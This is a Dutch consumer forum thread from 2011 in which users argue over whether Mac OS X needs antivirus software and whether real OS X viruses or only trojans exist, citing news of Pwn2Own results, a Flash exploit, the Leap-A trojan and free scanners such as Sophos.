[Roman]

Weet trouwens iemand hoeveel threats het programma File Quarantine, wat standaard in OSX zit, kan herkennen? En hoe vaak wordt die geupate?

Kan er weinig over vinden, alleen dat in de 10.6.7 update er een nieuwe threat is bijgeplaatst.

File Quarantine

Description: The OSX.OpinionSpy definition has been added to the malware check within File Quarantine.

Bron: http://support.apple.com/kb/HT4581

(Dit geeft dus idd aan dat er schadelijke software voor de mac is).

[Underworld]

Roman schreef op maandag 11 april 2011 @ 10:35:
Weet trouwens iemand hoeveel threats het programma File Quarantine, wat standaard in OSX zit, kan herkennen? En hoe vaak wordt die geupate?

Kan er weinig over vinden, alleen dat in de 10.6.7 update er een nieuwe threat is bijgeplaatst.

File Quarantine

Description: The OSX.OpinionSpy definition has been added to the malware check within File Quarantine.

Bron: http://support.apple.com/kb/HT4581

(Dit geeft dus idd aan dat er schadelijke software voor de mac is).

Woooow! nu maak je mij echt bang!

Impact: When connected to Wi-Fi, an attacker on the same network may be able to cause a system reset

[Darkstar]

Underworld schreef op maandag 11 april 2011 @ 11:40:
[...]


Woooow! nu maak je mij echt bang!


[...]

Kijk, het is duidelijk dat je skeptisch bent over malware en virussen op de Mac, maar dat wil daarom nog niet zeggen dat je mensen belachelijk moet gaan maken die de bewijzen posten voor wat jij blijft ontkennen.
In dit specifieke voorbeeld is het inderdaad niet zo spectaculair, maar het is maar één voorbeeld. En een lek kan nog steeds gebruikt worden in combinatie met andere vulnerabilities om schade aan een systeem aan te richten of het systeem zonder medeweten van de gebruiker in te zetten voor minder leuke activiteiten.

Underworld schreef op maandag 11 april 2011 @ 10:19:
[...]
Oh hoezo zouden ze dat niet doen? Er staat nergens dat ze het niet op die manier doen namelijk.
Ja alleen windows is een totaal ander platform en zat destijds al vol met gaten en een register wat makkelijk aangepast kon worden.

Verdiep je wat meer in security voordat je hier met halve waarheden en grote woorden komt gooien. Remote connections naar eender welk systeem zijn gevaarlijk, omdat ze de mogelijkheid geven aan malafide personen om je systeem te gebruiken voor zaken waar jij niet eens iets van ziet (Spam versturen, botnet, server voor allerhande rotzooi,...).
Je vergelijking met Windows raakt kant noch wal. De opbouw is inderdaad anders, maar dat wil niet zeggen dat OS X of *nix gebaseerde systemen geen zwakke punten hebben (zoals je vergelijking met het register).
Ja, het is beter. Nee, het is niet onfeilbaar.

[Roman]

^^ idd... is toch niet voor niets dat Apple bij Pwn2Own altijd het makkelijkst te hakken is.

OSX zit ook vol met gaten, sommige zijn ontdekt en sommige (nog) niet. Alleen er zijn gewoon minder die er tot heden gebruik van maken.

Wikipedia: Pwn2Own

During the first day of the competition Safari and Internet Explorer were defeated by researchers. Safari was version 5.0.3 installed on a fully-patched Mac OS X 10.6.6.[19] French security firm VUPEN was first to attack the browser, and five seconds after the browser visited its specially-crafted malicious web page, it had both launched the platform calculator application (a standard harmless payload to demonstrate that arbitrary code has been executed) and wrote a file to the hard disk (to demonstrate that the sandbox had been bypassed).

[ Voor 8% gewijzigd door Roman op 11-04-2011 12:40 ]

[Verwijderd]

hacken is wat anders dan een virus.

[Darkstar]

Verwijderd schreef op maandag 11 april 2011 @ 12:49:
hacken is wat anders dan een virus.

Juist, en fout. Hacken is inderdaad iets anders, maar een vulnerability gebruikt door een hacker kan ook gebruikt worden door een virusschrijver om toegang te krijgen tot het systeem om het virus op je Mac/PC te krijgen.

[Verwijderd]

Verwijderd schreef op maandag 11 april 2011 @ 12:49:
hacken is wat anders dan een virus.

Is dat zo? Ik ben zelf hacker als beroep. De methode die ik gebruik om in te breken op een systeem kunnen net zo gemakkelijk door een virus gedaan worden. Het verschil is dat een hacker gericht bezig is met een machine, waarbij een virus een zo breed mogelijk spectrum probeert aan te vallen.

[Roman]

Ik zat net een beetje op security en osx te zoeken, kwam ik het volgende tegen bij de NSA.

http://www.nsa.gov/ia/_fi...sx_10_6_hardeningtips.pdf

site: http://www.nsa.gov/ia/gui...s/operating_systems.shtml

Ook leuk is het boek (PDF) Mac OS X Security Configuration (272 pagina's dik)

http://images.apple.com/s...Security_Config_v10.6.pdf

Dit is dus niet over virussen maar meer over beveiliging. Men neemt een kijkje op pagina 239

[ Voor 9% gewijzigd door Roman op 11-04-2011 16:02 ]

[Verwijderd]

Verwijderd schreef op maandag 11 april 2011 @ 13:48:
[...]

Is dat zo? Ik ben zelf hacker als beroep. De methode die ik gebruik om in te breken op een systeem kunnen net zo gemakkelijk door een virus gedaan worden. Het verschil is dat een hacker gericht bezig is met een machine, waarbij een virus een zo breed mogelijk spectrum probeert aan te vallen.

Ja dat is zo.

Dat eerste virus moet er nog komen, hackers zijn er al.
Virussen zijn er niet, trojans wel, dat er convergence bestaat staat er los van, maar een virus is in essentie heel wat anders dan een trojan (vandaar de naam).

[The Great HooD]

Gescand en je raadt het al, no virus. Ik ben het wel eens hoor met het feit dat het allemaal wel zwaar wordt opgeblazen. De consument is sowieso al een target wat niet echt de moeite waard is. Als bedrijf is het logisch dat ze goede beviliging hebben. Ik ben gewoon nog steeds van mening dat het echt overrated is die virusscanners.

[Verwijderd]

Verwijderd schreef op maandag 11 april 2011 @ 15:06:
[...]

Ja dat is zo.

Dat eerste virus moet er nog komen, hackers zijn er al.
Virussen zijn er niet, trojans wel, dat er convergence bestaat staat er los van, maar een virus is in essentie heel wat anders dan een trojan (vandaar de naam).

Meh hardly. Een virusscanner beschermt je tegen alles wat als troep beschouwd wordt. Ongeacht of dit nou het labeltje virus, worm, trojan, exploit etc met zich mee draagt. Prima dat andere mensen er een grondig onderscheid tussen willen maken maar het gaat in dit topic om virusscanners, die zijn niet zo moeilijk.

Ik ga daarom ook geen onderscheid maken tussen al deze verschillen. Ook omdat een 'virus' meestal een combinatie is van meerdere vormen (trojann, worm etc). In die context kan een virus hetzelfde als een hacker. Alleen zullen hackers altijd een groter gevaar vormen omdat die een gerichte aanval uitvoeren.

Dat ze niet bestaan is natuurlijk onzin. Al is het maar dat ik er zelf een aantal heb geschreven. Dat ze niet in grote schaal voorkomen is iets anders natuurlijk.

[Verwijderd]

Ik draai ook geen antivirus op mijn mac. Doe wel heel voorzichtig met de software die ik installeer, en doe niet aan codecs voor porno. Lang leve Perian...

Heb overigens nog nooit last gehad van iets waarvan ik dacht dat het een virus/trojan zou zijn op mijn Mac.

Windows had ik dat wel, omdat ik daar regelmatig last had van aanvallen.

[Verwijderd]

Verwijderd schreef op maandag 11 april 2011 @ 15:44:
[…]


Dat ze niet bestaan is natuurlijk onzin. Al is het maar dat ik er zelf een aantal heb geschreven. Dat ze niet in grote schaal voorkomen is iets anders natuurlijk.

Dan is het tijd dat je dat de wereld eens gaat laten zien, ik vrees dat je het niet over een virus hebt.
Maar goed ik kan met je meegaan dat het (trojan/virus) dezelfde pot nat is, nog steeds gaat het nergens over; dmg downloaden van dubieuze site, je admin password geven. Zo ken ik er ook wel een paar.

[DivxLover]

code:

11-04-2011 11:03:42 Kernel access control   file    /Users/Username/Downloads/Filename  multiple threats    deleted username    Event occurred during an attempt to access the file by the application: /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mdworker.

Ik voel me volkomen veilig op m'n Mac, maar ben niet blind.......

En als ik het dan al niet doe omdat wat er ooit aan rottigheid voorbij komt op m'n Mac in 99,95% van de gevallen zooi is die alleen een Windows PC kan besmetten en niet mijn Mac, dan lever ik juist toch een bijdrage aan het iets schoner houden van de online wereld.

[Underworld]

Verwijderd schreef op maandag 11 april 2011 @ 16:50:
[...]

Dan is het tijd dat je dat de wereld eens gaat laten zien, ik vrees dat je het niet over een virus hebt.
Maar goed ik kan met je meegaan dat het (trojan/virus) dezelfde pot nat is, nog steeds gaat het nergens over; dmg downloaden van dubieuze site, je admin password geven. Zo ken ik er ook wel een paar.

Inderdaad...

The Great HooD schreef op maandag 11 april 2011 @ 15:42:
Gescand en je raadt het al, no virus. Ik ben het wel eens hoor met het feit dat het allemaal wel zwaar wordt opgeblazen. De consument is sowieso al een target wat niet echt de moeite waard is. Als bedrijf is het logisch dat ze goede beviliging hebben. Ik ben gewoon nog steeds van mening dat het echt overrated is die virusscanners.

het is niet overrated het is gewoon puur bangmakerij, en zorgen dat consumenten antivirus programma's gaan kopen.

Roman schreef op maandag 11 april 2011 @ 12:38:
^^ idd... is toch niet voor niets dat Apple bij Pwn2Own altijd het makkelijkst te hakken is.

OSX zit ook vol met gaten, sommige zijn ontdekt en sommige (nog) niet. Alleen er zijn gewoon minder die er tot heden gebruik van maken.

Wikipedia: Pwn2Own


[...]

Ohja waar staat dat dan?
So what,.. ik gebruik Chrome En Firefox...

Day 3
No teams showed up for day three. Chrome and Firefox were not hacked.

Daarbij heb ik van de mensen die pro-virusscanner zijn, nog geen bron gezien die laat zien dat een Mac zo vervuilt is dat een herinstallatie nodig was, überhaupt vervuilt ofhet disfunctioneren van het systeem...
Sorry maar ik vind jullie praatjes echt 'hoge bomen' ... Het zal me ook niets verbazen als deze personen zelf voor een bedrijf werken die antivirus-spyware verkopen aan klanten.

[ Voor 17% gewijzigd door Underworld op 11-04-2011 18:39 ]

[Verwijderd]

De aanvalsvector van dmg downloaden, installeren, vragen om een admin password is trouwens helemaal nog niet zo'n gekke hoor. Neem als voorbeeld de Unreal IRCD en ProFTPD backdoor van vorig jaar. Deze waren dan wel gericht tegen Linux ipv OS X, maar het gebeurt wel degelijk. AcidBitchez (blackhat hackers groep) had de server van deze pakketten gehacked en een gebackdoorde versie geupload. SourceForge is enkele maanden geleden ook gehackt. Ze hadden hierbij in principe elk pakket kunnen backdooren.

Nogmaals: niemand hier zegt dat de kans op een besmetting groot is, of dat je een virusscanner moet kopen of dat er momenteel veel OS X virussen 'in the wild' voorkomen. We proberen alleen maar aan te geven dat een virus meer schade kan aanrichten dan een stukke installatie, en dat je hem op meer manier kunt oplopen dan duistere sites bezoeken.

[Darkstar]

Underworld schreef op maandag 11 april 2011 @ 18:30:
[...]

Inderdaad...


[...]


het is niet overrated het is gewoon puur bangmakerij, en zorgen dat consumenten antivirus programma's gaan kopen.

[...]

Ohja waar staat dat dan?
So what,.. ik gebruik Chrome En Firefox...

Day 3
No teams showed up for day three. Chrome and Firefox were not hacked.

Daarbij heb ik van de mensen die pro-virusscanner zijn, nog geen bron gezien die laat zien dat een Mac zo vervuilt is dat een herinstallatie nodig was, überhaupt vervuilt ofhet disfunctioneren van het systeem...
Sorry maar ik vind jullie praatjes echt 'hoge bomen' ... Het zal me ook niets verbazen als deze personen zelf voor een bedrijf werken die antivirus-spyware verkopen aan klanten.

Gast, hou gewoon op. Je weet niet waar je over praat en je reageert niet op posts waar ik je op je fouten wijs.

Dat op Pwn2Own meestal Safari-leaks misbruikt worden wil niet zeggen dat je compleet veilig bent omdat Chrome of Firefox gebruikt wordt. In sommige gevallen is het genoeg dat de software geïnstalleerd is het om lek te misbruiken, de user hoeft de software daarvoor nog niet eens te gebruiken.

Neen, ik werk niet voor een bedrijf dat antivirus verkoopt, verre van zelfs. Echt, wtf dude

[ Voor 12% gewijzigd door Darkstar op 11-04-2011 18:45 ]

[Underworld]

@Kamose
Dan nog, kom je nog steeds niet met echt voorbeelden maar puur met speculatieve teksten. Wij moeten hier jouw 'kennis' maar aannemen dat het zo is terwijl je niet eens met bronnen komt waarbij je het laat zien. (buiten die van eerder genoemde van Sophos, van andere posters etcetera)

Ik kan hier toch ook met mijn kennis neer zetten dat virussen voor de mac geen schade aan richten.
"ik ben al 30 jaar hacker van beroep. En test bedrijven die Mac OS X gebruiken. Ik vind bij elk bedrijf wel gaten in de beveiliging" (Het is uiteraard niet zo, maar zie je hoe makkelijk dat te zeggen is, zonder bron/bewijs?)

@Darkstar, ik heb alleen niet op één post van je gereageerd omdat ik hem speculatief vond, op al je andere posts heb ik gereageerd.
Hoezo moet ik ophouden, omdat jij je zin niet krijgt? Het enige waar ik om vraag is specifieke voorbeelden waarbij een Mac niet meer te gebruiken is en er gevaar is. Het is dat ik de virussen/trojans voor mac niet kan vinden anders zou ik ze zo voor de gein installeren en voor een maand laten draaien op mijn systeem en kijken wat er gebeurt als onderzoek, wat virussen/trojans voor de mac kunnen aanrichten.

[ Voor 30% gewijzigd door Underworld op 11-04-2011 18:52 ]

[Verwijderd]

je kan je mening ook geven zonder mensen meteen voor dom uit te maken. Dergelijke posts zorgen er hooguit voor dat je zelf als niet bijster intelligent overkomt namelijk.

[ Voor 80% gewijzigd door Whieee op 13-04-2011 12:37 ]

[Darkstar]

Underworld schreef op maandag 11 april 2011 @ 18:44:
@Kamose
Dan nog, kom je nog steeds niet met echt voorbeelden maar puur met speculatieve teksten. Wij moeten hier jouw 'kennis' maar aannemen dat het zo is terwijl je niet eens met bronnen komt waarbij je het laat zien. (buiten die van eerder genoemde van Sophos, van andere posters etcetera)

Ik kan hier toch ook met mijn kennis neer zetten dat virussen voor de mac geen schade aan richten.
"ik ben al 30 jaar hacker van beroep. En test bedrijven die Mac OS X gebruiken. Ik vind bij elk bedrijf wel gaten in de beveiliging" (Het is uiteraard niet zo, maar zie je hoe makkelijk dat te zeggen is, zonder bron/bewijs?)

@Darkstar, ik heb alleen niet op één post van je gereageerd omdat ik hem speculatief vond, op al je andere posts heb ik gereageerd.
Hoezo moet ik ophouden, omdat jij je zin niet krijgt? Het enige waar ik om vraag is specifieke voorbeelden waarbij een Mac niet meer te gebruiken is en er gevaar is. Het is dat ik de virussen/trojans voor mac niet kan vinden anders zou ik ze zo voor de gein installeren en voor een maand laten draaien op mijn systeem en kijken wat er gebeurt als onderzoek, wat virussen/trojans voor de mac kunnen aanrichten.

Nee, niet omdat ik geen gelijk zou krijgen, maar wel omdat je steeds met standpunten en argumenten komt opdraven die gewoon niet juist zijn. We tonen aan dat er trojans bestaan => 'Ja, maar die heb ik nog nooit gezien'. We geven aan dat een bewezen lek (op Pwn2Own) een zeker risico inhoudt om malware op je Mac te krijgen => 'Kan niet want IK gebruik Chrome en Firefox'.

Ik heb de indruk dat je pas gaat geloven dat er virussen bestaan als ik je persoonlijk een compleet geïnfecteerde Mac laat zien. Zo simpel is het niet en dat weet je zelf ook. Er is niemand die in dit topic beweerd dat je zo makkelijk en zo snel een virus te pakken hebt. Het punt is dat modale gebruikers die weinig kennis van zaken hebben wél een zeker risico hebben om rotzooi op hun Mac te krijgen. De kans is klein, maar daarom niet onbestaand en dat is nu net hetgeen wat we al de hele tijd proberen duidelijk te maken.

Ik zeg ook niet dat plots iedereen met een Mac een antivirus moet gaan draaien. Maar als je al weet dat er virussen bestaan en niet je kop in het zand steekt ben je al erg ver om nooit voor een onaangename verrassing te komen staan.

Verwijderd schreef op maandag 11 april 2011 @ 18:56:
Gewoon simpel weg dom dat je scanner gaat nemen voor OS X doe eens normaal je bent al bang voor Proof Of Concept? neem dan geen linux er zijn daar ook al 2 VIRUSSEN voor Proof Of Concept!!...

Gewoon dom maarja je kan als je zo bang bent iAntvirus nemen....

Het gaat niet om Proof on concept virussen, als je zelfs al de laatste pagina had gelezen had je dat geweten...
En niemand spreekt van bang, ik draai op dit moment zelf geen antivirus op mijn Mac. Maar dat is het punt niet, alleen lijkt iedereen daar over te lezen...

[ Voor 4% gewijzigd door Darkstar op 11-04-2011 19:04 ]

[Underworld]

Darkstar schreef op maandag 11 april 2011 @ 19:02:
[...]


Nee, niet omdat ik geen gelijk zou krijgen, maar wel omdat je steeds met standpunten en argumenten komt opdraven die gewoon niet juist zijn. We tonen aan dat er trojans bestaan => 'Ja, maar die heb ik nog nooit gezien'. We geven aan dat een bewezen lek (op Pwn2Own) een zeker risico inhoudt om malware op je Mac te krijgen => 'Kan niet want IK gebruik Chrome en Firefox'.

Ik heb de indruk dat je pas gaat geloven dat er virussen bestaan als ik je persoonlijk een compleet geïnfecteerde Mac laat zien. Zo simpel is het niet en dat weet je zelf ook. Er is niemand die in dit topic beweerd dat je zo makkelijk en zo snel een virus te pakken hebt. Het punt is dat modale gebruikers die weinig kennis van zaken hebben wél een zeker risico hebben om rotzooi op hun Mac te krijgen. De kans is klein, maar daarom niet onbestaand en dat is nu net hetgeen wat we al de hele tijd proberen duidelijk te maken.

Ik zeg ook niet dat plots iedereen met een Mac een antivirus moet gaan draaien. Maar als je al weet dat er virussen bestaan en niet je kop in het zand steekt ben je al erg ver om nooit voor een onaangename verrassing te komen staan.

Duidelijker...

Alleen ben ik het niet met je laatste alinea eens maar dat terzijde.
Veronderstelling dat er inderdaad een sort off i Love You virus voor de Mac zou komen in 2015.
Het is gewoon een feit dat mensen denken, (ja weer een oud spreekwoord i know..) Als het kalf verdronken is, dempt men de put... Zo zal het hoogstwaarschijnlijk ook gaan met de Mac. En dat is dan gewoon (mijn) eigen schuld dikke bult.

[Mini Poeper]

De discussie gaat wel de eenzijdige kant op. Al zijn er geen noemenswaardige Mac virussen, die voor Windows zijn die er wel. Het is niet netjes om als Mac user onwetend een virus door te mailen naar een Windows gebruiker.

Kun je wel denken: 'Boeiûh, zijn probleem.'
Zo werkt dat niet altijd in het leven. Je slaat wel een flater als je een bevestiging van order stuurt naar een klant en er ook nog als dank een virus bij stopt. Of dat de mail wordt tegengehouden door diens scanner en de mail dus niet wordt gelezen.


Wanneer doet een virusscanner zijn werk?
Van de week kreeg mijn vriendin een mail over Facebook in haar Outlook (Windows).
Raar, wij hebben beide geen Facebook. Dus mail geopend en toen wat tekst over password.
In de bijlage was een .zip bestand bijgevoegd. Ik heb de mail maar weggegooid.
Verder geen melding van Kaspersky gezien. Wanneer was deze melding gaan maken, als ik het .zip bestand had proberen te openen?

[magnifor]

Verwijderd schreef op maandag 11 april 2011 @ 18:56:
Gewoon simpel weg dom dat je scanner gaat nemen voor OS X doe eens normaal je bent al bang voor Proof Of Concept? neem dan geen linux er zijn daar ook al 2 VIRUSSEN voor Proof Of Concept!!...

Gewoon dom maarja je kan als je zo bang bent iAntvirus nemen....

Vroeg of laat zal er een virus uitbraak komen op de Mac, dan zal de impact groter zijn dan bij Windows gebruikers omdat veel Mac gebruikers geen antivirus gebruiken.

Mac wordt met de dag populairder en commercieel gezien wordt het daarom steeds interessanter voor malware/virus bakkers om serieuze virussen te ontwikkelen.

Tijdje terug kwam in het nieuws dat een illegale versie van iWorks al troep bevatte. Je moest wel een wachtwoord invoeren maar dat moet sowieso als je iWorks wilt installeren.

Dus wie zegt dat bij een illegale versie van Office 2011 geen virus mee wordt geïnstalleerd? Je moet sowieso je wachtwoord opgeven om het pakket te installeren, dus op die manier kan je virussen verbergen. De zwakste schakel is en blijft de gebruiker.

Dat er nu geen echte virussen zijn op de Mac wil niet zeggen dat het zo blijft. Als een anti-virus niet te veel geheugen in beslag neemt en verder je syteem niet of nauwelijks vertraagt dan zie ik geen reden om het niet te installeren. Voorkomen is beter dan genezen.

[ Voor 10% gewijzigd door magnifor op 13-04-2011 10:15 ]

[Meulugar]

Verwijderd schreef op maandag 11 april 2011 @ 09:48:
[...]

Antwoord is dus nee: "in the wild".

Virussen voor OSX bestaan niet, punt. Alleen proof of concepts, de rest is malware/scareware/trojans.
Loop anders eens door de wildlist, je komt er geen 1 tegen in 10 jaar tijd.

Punt is dat het OS iets anders in elkaar zit dan bijvoorbeeld Windows, waardoor toegang krijgen tot je volledige filesysteem een ander verhaal word. Het heeft ook niets te maken met wel of niet populariteit van OSX, OSX is namelijk populair. Het marktaandeel MB/MBA is behoorlijk te noemen.

Dat je op je hoede bent ala, de rest is bangmakerij.

ik citeer

Amper een maand na de aanval op beveiligingsbedrijf RSA, hebben aanvallers weer een lek Adobe Flash Player gebruikt om bij meerdere organisaties in te breken. Bij de aanval op RSA verstopten de aanvallers een kwaadaardig Flash-bestand in een Excel spreadsheet. Dit lek is inmiddels gepatcht.

De nieuwste aanval bestaat uit een Word document met daarin een Flash-bestand. Zodra het slachtoffer het bestand opent, wordt het ingebedde Flash-bestand uitgevoerd en kan de aanvaller volledige controle over het systeem krijgen. Volgens Adobe zijn er nog geen aanvallen aangetroffen waarbij het Flash-bestand in een PDF-bestand was verstopt. Daarnaast zou de beveiliging in Adobe Reader X de aanval stoppen.

Update
De kwetsbaarheid is aanwezig in Flash Player 10.2.153.1 en eerder op Windows, Mac OS X, Linux en Solaris. Ook Adobe Reader en Acrobat X lopen risico, hoewel de Protected Mode in de nieuwste versie van de PDF-lezer het uitvoeren van de exploit stopt. Een patch voor Flash Player is bijna gereed.

Aangezien Adobe Reader X-gebruikers geen risico lopen, verschijnt de update hiervoor op 14 juni, tijdens de geplande patchcyclus. Adobe Flash is op 99% van alle computersystemen ter wereld aanwezig.

bron http://security.nl/artike...tig_Flash_Player-lek.html

er moet eens gestopt worden met het keihard ontkennen dat er geen malware of andere meuk is voor mac osx. Ok, osx zit inderdaad aardig dicht getimmerd maar applicaties als office for mac, flash, adobe meuk etc.. zijn wel kwetsbaar.

Maar als je gewoon een beetje surft. Weinig externe software installeerd en regelmatig update verklein je de kans al flink. Als je daarnaast ook nog eens oplet met welke addons je in de browser installeerd dan zit je aardig save. Zelf heb ik toch even sophos geinstalleerd. Het is gratis. Weinig performance verlies en baat het niet dan schaad het niet.

[ Voor 7% gewijzigd door Meulugar op 13-04-2011 12:52 ]

[Roman]

Probeer maar iemand die beweert dat er geen schadelijk software bestaat voor de mac, uit te leggen dat die er wel is. Kun je net zo goed tegen een muur praten.

Ok er zijn er veel en veel minder dan voor Windows, maar ze zijn er wel.

b.v. hier: http://www.iantivirus.com/threats/

En dan heb je natuurlijk die die beweren OSX is anders opgebouwd waardoor je geen schadelijke software kan krijgen. En dat is ook al meerdere keren bewezen dat het wel kan, wel dan vaak met gemene trucjes waar gebruikers hun wachtwoord moeten geven.

[Whieee]

Ik stel voor dat we het weer over de virusscanners gaan hebben in plaats van dit topic te laten ontsporen tot een zinloze discussie omdat iemand toevallig even gaat trollen. Do not feed the troll

[Lrrr]

Ik weet niet of hij al genoemd is, maar VirusBarrier Express is gratiesch. De premium updates kosten geld, maar je hebt ook gewoon gratis updates (albeit minder). Downloaden doe je in de Mac App Store. Nadeel: je hebt een irritant venster als hij je geplande scan uitvoert, dat je niet kan wegklikken. Alleen minimaliseren.

[Verwijderd]

Meulugar schreef op woensdag 13 april 2011 @ 12:33:
[...]
ik citeer

ik citeer:

Virussen voor OSX bestaan niet, punt. Alleen proof of concepts, de rest is malware/scareware/trojans.

Misschien eerst even lezen voordat je gaat steigeren.

Roman schreef op woensdag 13 april 2011 @ 12:55:
Probeer maar iemand die beweert dat er geen schadelijk software bestaat voor de mac, uit te leggen dat die er wel is. Kun je net zo goed tegen een muur praten.

Ok er zijn er veel en veel minder dan voor Windows, maar ze zijn er wel.

b.v. hier: http://www.iantivirus.com/threats/
.

Ik denk dat dat muurpraten wel meevalt.

Misschien voor de goede orde: er zijn geen virussen voor OSX; alleen malware/trojans, precies zoals je eigen aangehaalde linkje haarfijn laat zien. Alles op basis van trickery.

[ Voor 49% gewijzigd door Verwijderd op 14-04-2011 00:47 ]

[Kvasirdor]

Verwijderd schreef op donderdag 14 april 2011 @ 00:44:
[...]


ik citeer:

[...]

Misschien eerst even lezen voordat je gaat steigeren.


[...]

Ik denk dat dat muurpraten wel meevalt.

Misschien voor de goede orde: er zijn geen virussen voor OSX; alleen malware/trojans, precies zoals je eigen aangehaalde linkje haarfijn laat zien. Alles op basis van trickery.

"
By John E Dunn | Techworld | Published: 15:11, 16 February 06
Apple’s Mac OS X software has been hit by a mischievous instant messaging virus – the first ever to target the platform.

The virus, dubbed Leap-A by anti-virus company Sophos, is said to spread using Apple’s iChat IM service, forwarding itself as a file called “latestpics.tgz” to an infected user’s buddy contacts."

En nu jij weer. Achterlijk gemekker of er nou wel of geen virusen, trojans of wat dan ook voor OSX zijn. Topic ging over virusscanners.

[Verwijderd]

kenshinsx schreef op donderdag 14 april 2011 @ 00:59:
En nu jij weer. Achterlijk gemekker of er nou wel of geen virusen, trojans of wat dan ook voor OSX zijn. Topic ging over virusscanners.

nog maar een keertje dan: alles op basis van trickery.

Neem een virusscanner als je er veiliger bij voelt. Ik voel er niks voor.

[Verwijderd]

kenshinsx schreef op donderdag 14 april 2011 @ 00:59:
[...]


En nu jij weer. Achterlijk gemekker

Je quote uit deze link uit 2006(!) --> http://news.techworld.com...st-os-x-virus-hits-apple/
Is trouwens ook een trojan en geen virus en geen bewijs voor een OSX virus "in the wild"

Lees onderstaande link een door..
http://forums.macrumors.c...php?p=9400648&postcount=4

Quote:
According to noted computer virus expert Paul Ducklin, in order for a virus to be considered in the wild, "it must be spreading as a result of normal day-to-day operations on and between the computers of unsuspecting users." This definition excludes "proof of concept" code that is used in a testing situation under strictly controlled conditions, and which poses zero threat to average computer users.

[Roman]

De proof on concept laat wel zien dat het mogelijk is (denk maar aan het macarena virus). Nu nog maar wachten totdat er iemand een virus maakt en op de wereld loslaat dat zich dan via mail of iChat verspreid. (wie gebruikt eigenlijk iChat???). Ik hoop dat het nooit zal komen, maar je weet maar nooit. (zal wat zijn een virus dat via de Live messenger voor mac verspreid gaat worden).

En wat verder betreft dat virus v.s. trojan verhaal, ik wil beide niet op mijn machines hebben. Ook wil ik geen wormen, spyware, malware of andere ongewenste programma's.

[Wolfos]

Mijn antivirus heet common-sense, heb ik 18 jaar geleden van mijn moeder gekregen. Tuurlijk is het mogelijk om een virus voor OS-X te maken, maar ik heb er nog nooit een gehad. Zolang je maar geen shady torrents gaat lopen downloaden zit je over het algemeen goed.

Ik heb wel een antivirus uit geprobeerd, maar die nam altijd 80% CPU in beslag en daardoor werd de MacBook veel te heet.

[ Voor 19% gewijzigd door Wolfos op 20-04-2011 11:49 ]

[Verwijderd]

Kijk en daar heb je iemand die tenminste zaken in perspectief neerzet met een gedegen antwoord.

[Meulugar]

Verwijderd schreef op donderdag 14 april 2011 @ 02:37:
[...]

nog maar een keertje dan: alles op basis van trickery.

Neem een virusscanner als je er veiliger bij voelt. Ik voel er niks voor.

Wij verschillen denk ik van mening wat een virus definitie is. feit is dat een beetje virusscanner tegenwoordig ook piept bij trojans, scareware, malware en andere zooi. Dus het nut van een virusscanner is mijn inziens wel degelijk van toepassing op OSX

[Dreamvoid]

Mensen lijken hier te vergeten dat op OS X stilletjes al een simpele virusscanner draait op de achtergrond, XProtect. Uiteraard beweert Sophos dat XProtect niet zo goed is, en dat je hun eigen scanner moet kopen.

[ Voor 34% gewijzigd door Dreamvoid op 20-04-2011 16:06 ]

[Roman]

Dreamvoid schreef op woensdag 20 april 2011 @ 16:01:
Mensen lijken hier te vergeten dat op OS X stilletjes al een simpele virusscanner draait op de achtergrond, XProtect. Uiteraard beweert Sophos dat XProtect niet zo goed is, en dat je hun eigen scanner moet kopen downloaden.

-there... i fixed it-

Ik zelf draai idd sophos. Maar dan ook meer omdat ik redelijk wat download op mijn mac, ook voor windows machines en dan vin ik het handig om voordat ik iets naar een van mijn windows bakken verplaats dat het gescanned is.

Ben nog geen OSX threat tegen gekomen (en dan bedoel ik uiteraard ook spyware, malware, trojans en al die andere zooi die je niet wilt hebben).

But i am prepared!

Uiteraard heb ik hem zo ingesteld dat die alleen de download folder en de mail scanned. En uiteraard software die draait, o.a. voor het internet verkeer e.d.

[magnifor]

Twee ontwikkelingen binnen een korte tijd:

nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X

magnifor in 'nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X'

Langzaam maar zeker zit het er echt aan te komen.

[ Voor 39% gewijzigd door magnifor op 03-05-2011 15:25 ]

[World Citizen]

magnifor schreef op dinsdag 03 mei 2011 @ 15:24:
Twee ontwikkelingen binnen een korte tijd:

nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X

magnifor in 'nieuws: Beveiligingsfirma ontdekt malwarebouwpakket voor OS X'

Langzaam maar zeker zit het er echt aan te komen.

Het is toch zo (zover ik kan vinden) dat je deze virussen actief uit moet voeren. danwel via een installer, danwel via het accepteren van een melding. Het kan nooit niet uitgevoerd worden zonder jouw toestemming.
Ik vind dat maar een half virus... aangezien het probleem dan bij de gebruiker zit.

[magnifor]

Decon Frost schreef op dinsdag 03 mei 2011 @ 16:35:
[...]


Het is toch zo (zover ik kan vinden) dat je deze virussen actief uit moet voeren. danwel via een installer, danwel via het accepteren van een melding. Het kan nooit niet uitgevoerd worden zonder jouw toestemming.
Ik vind dat maar een half virus... aangezien het probleem dan bij de gebruiker zit.

Klopt helemaal, ook bij deze scam is de gebruiker de zwakste schakel. Punt is dat veel onervaren gebruikers hier in kunnen trappen en daardoor toestemming geven om de boel te installeren. Vergeet niet dat 9 van de 10 OS X installers je username en password vragen. Dus dat de installer van deze scam om een username en password vraagt is geen merkwaardig verschijnsel.

[Digistorm]

magnifor schreef op dinsdag 03 mei 2011 @ 16:41:
[...]


Klopt helemaal, ook bij deze scam is de gebruiker de zwakste schakel. Punt is dat veel onervaren gebruikers hier in kunnen trappen en daardoor toestemming geven om de boel te installeren. Vergeet niet dat 9 van de 10 OS X installers je username en password vragen. Dus dat de installer van deze scam om een username en password vraagt is geen merkwaardig verschijnsel.

Dat klopt... maar het punt is dat alle Apple bashers er vooral op wijzen dat deze installer automatisch gedownload kan worden en ook uitgevoerd kan worden met de verkeerde instellingen. En dat zou gevaarlijk zijn. Nou, ja, misschien in Windows, maar als ik out of the blue een installatiescherm voor mijn neus zou krijgen dat om mijn wachtwoord vraagt _terwijl ik aan het surfen ben_ dan zou ik toch hoe dan ook vreemd opkijken.

[Verwijderd]

Digistorm schreef op woensdag 04 mei 2011 @ 16:51:
[...]

